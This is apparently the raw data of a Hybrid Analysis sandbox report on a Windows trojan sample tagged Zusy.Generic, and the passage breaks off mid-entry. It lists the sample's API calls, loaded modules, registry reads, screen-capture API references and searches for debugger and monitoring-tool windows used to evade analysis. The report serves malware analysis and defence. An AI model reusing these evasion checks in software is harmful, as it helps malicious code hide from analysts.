24:I[7638,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/136wug8odqdqr.js"],"SampleDetailWrapper"] 64:I[27201,["/_next/static/chunks/1nkjstpmp978x.js","/_next/static/chunks/0g8d-v19n010u.js","/_next/static/chunks/2xonh_kqmr__3.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T4a3,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Zusy.Generic Sample bd2121f85a4f… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample bd2121f85a4f…. Malware family: Zusy.Generic. Threat score 100/100. 10/25 AV engines flagged this file. 18 malicious and 20 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/bd2121f85a4f7cb088c427636f6fed7e02ed42d94e568f6de376be1774885fa4","keywords":["Malicious","Zusy.Generic","malware analysis","sandbox report","threat intelligence","bd2121f85a4f7cb088c427636f6fed7e02ed42d94e568f6de376be1774885fa4"],"about":{"@type":"SoftwareApplication","name":"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363","applicationCategory":["peexe","executable"],"identifier":"bd2121f85a4f7cb088c427636f6fed7e02ed42d94e568f6de376be1774885fa4","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Zusy.Generic","antivirusDetections":{"malicious":10,"total":25},"behavioralIndicators":{"malicious":18,"suspicious":20},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T7d8,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RtlGetVersion" with parameter 1c0100000a00000000000000ab3f00000200000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "RtlGetVersion" with parameter 140100000a00000000000000ab3f0000020000000000000090ee960034ee9600226ed5760000b600000000002d6ed57694b102f42d000000ecb70c75b8ee960000009a0040d62403c8ad23031100000080000000f8ed960000009a007cee960070c8d676582e4f82feffffff2d000000d0cc1b75270000004cee9600856ad7761c23dc768cee9600f85fd77608000000bb69d676b269d6762cb102f42d000000ecb70c7527000000d0cc1b7560ee96002d000000d0cc1b752700000090ee9600856ad7761c23dc76d8ee96007e8a1a75ee8c1a75738a1a7509ff29672d000000ecb70c7527000000d0cc1b75fc9ab600909ab60009ff2967a0ee9600fc5258758cef9600e0841a75e9e0e912feffffff738a1a75 (UID: 00000000-00004840)26:T9ba,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter api-ms-win-core-synch-l1-2-0 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter api-ms-win-core-fibers-l1-1-1 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter api-ms-win-core-localization-l1-2-1 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter kernel32 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter USER32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter ADVAPI32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter NTDLL.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter winmm.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter NTDLL (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter KERNEL32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter GDI32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter SHELL32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter ole32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter WS2_32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter CRYPT32.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter SHLWAPI.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter gdiplus.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter SETUPAPI.dll (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "LoadLibrary" with a parameter ntdll.dll (UID: 00000000-00004840)27:T1b63,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter GetNativeSystemInfo (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter timeGetTime (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter NtOpenThread (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter NtQuerySystemInformation (UID: 00000000-00004840) "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" called "GetProcAddress" with a parameter RtlAllocateHeap (UID: 00000000-00004840)28:Tb79,"CREATE TABLE sqlite_master(" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "create table sqlite_master(") "CREATE TABLE" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "create table") "SELECT name, rootpage, sql FROM '%q'.%s WHERE %s" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "select name, rootpage, sql from '%q'.%s where %s") "UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='table' OR type='index' OR type='trigger');" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='table' or type='index' or type='trigger');"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where tbl=%q"), "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "delete from %q.sqlite_stat1 where idx=%q"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "select name rootpage sql from '%q'.%s"), "UPDATE %Q.%s SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 00000000-00004840.00000000.66549.00B91000.00000040.mdmp, Indicator: "update %q.%s set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d")29:T904,Found reference to API (Indicator: "lstrcpy"; File: "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363") Found reference to API (Indicator: "GetSystemTimePreciseAsFileTime"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "FlsAlloc"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "FlsFree"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "FlsGetValue"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "FlsSetValue"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "InitializeCriticalSectionEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "AreFileApisANSI"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "CompareStringEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "EnumSystemLocalesEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "GetDateFormatEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "GetLocaleInfoEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "GetTimeFormatEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "GetUserDefaultLocaleName"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "IsValidLocaleName"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "LCMapStringEx"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "LCIDToLocaleName"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "LocaleNameToLCID"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp") Found reference to API (Indicator: "WSASend"; Source: "00000000-00004840.00000000.66549.00B91000.00000040.mdmp")2a:T814,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 74270000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 74270000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 74270000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "KERNEL32" at base 73c50000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "%WINDIR%\TEMP\VXOLE32.DLL" at base 72fe0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "USER32.DLL" at base 738c0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "ADVAPI32.DLL" at base 76750000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "NTDLL.DLL" at base 76e80000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "WINMM.DLL" at base 72b50000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "NTDLL" at base 76e80000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "KERNEL32.DLL" at base 73c50000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "GDI32.DLL" at base 763e0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "SHELL32.DLL" at base 750a0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "OLE32.DLL" at base 74b30000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "WS2_32.DLL" at base 74100000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "CRYPT32.DLL" at base 765b0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "SHLWAPI.DLL" at base 74c30000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "GDIPLUS.DLL" at base 735e0000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "SETUPAPI.DLL" at base 76820000 "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" loaded module "EXT-MS-WIN-KERNEL32-ERRORHANDLING-L1-1-0.DLL" at base 73c500002b:T496,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "OLLYDBG" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "GBDYLLO" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "pediy06" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "FilemonClass" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for window "File Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "PROCMON_WINDOW_CLASS" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for window "Process Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "RegmonClass" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for window "Registry Monitor - Sysinternals: www.sysinternals.com" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "18467-41" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "Regmonclass" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" searching for class "Filemonclass"2c:T50c,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER\SEGMENT HEAP"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SESSION MANAGER"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\MICROSOFT\WOW64\X86"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SAFEBOOT\OPTION"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\SRP\GP\DLL"; Key: ""; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "OPEN"; Path: "HKLM\SOFTWARE\POLICIES\MICROSOFT\WINDOWS\SAFER\CODEIDENTIFIERS"; Key: ""; Value: "")2d:Ta2d,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "BIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDBIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "STANDARDSTART"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTBIAS"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DAYLIGHTSTART"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "TIMEZONEKEYNAME"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "DYNAMICDAYLIGHTTIMEDISABLED"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "FIRSTENTRY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "LASTENTRY"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2024"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\TIME ZONES\PACIFIC STANDARD TIME\DYNAMIC DST"; Key: "2007"; Value: "") "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\TIMEZONEINFORMATION"; Key: "ACTIVETIMEBIAS"; Value: "")2e:T4cf,"SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\System32\WOW64LOG.DLL" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\SysWOW64\apphelp.dll" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\SysWOW64\ntdll.dll" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\SysWOW64\kernel32.dll" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\SysWOW64\KernelBase.dll" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\apppatch\sysmain.sdb" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\SECURITEINFO.COM.WIN32.TROJANX-GEN.22795.17363.EXE.LOCAL" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\WinSxS\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.16299.248_none_d0271d135f36f548\comctl32.dll" "SecuriteInfo.com.Win32.TrojanX-gen.22795.17363.exe" trying to touch file "C:\Windows\SysWOW64\msvcrt.dll"2f:T54b,Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00004840.00000000.66549.03230000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: 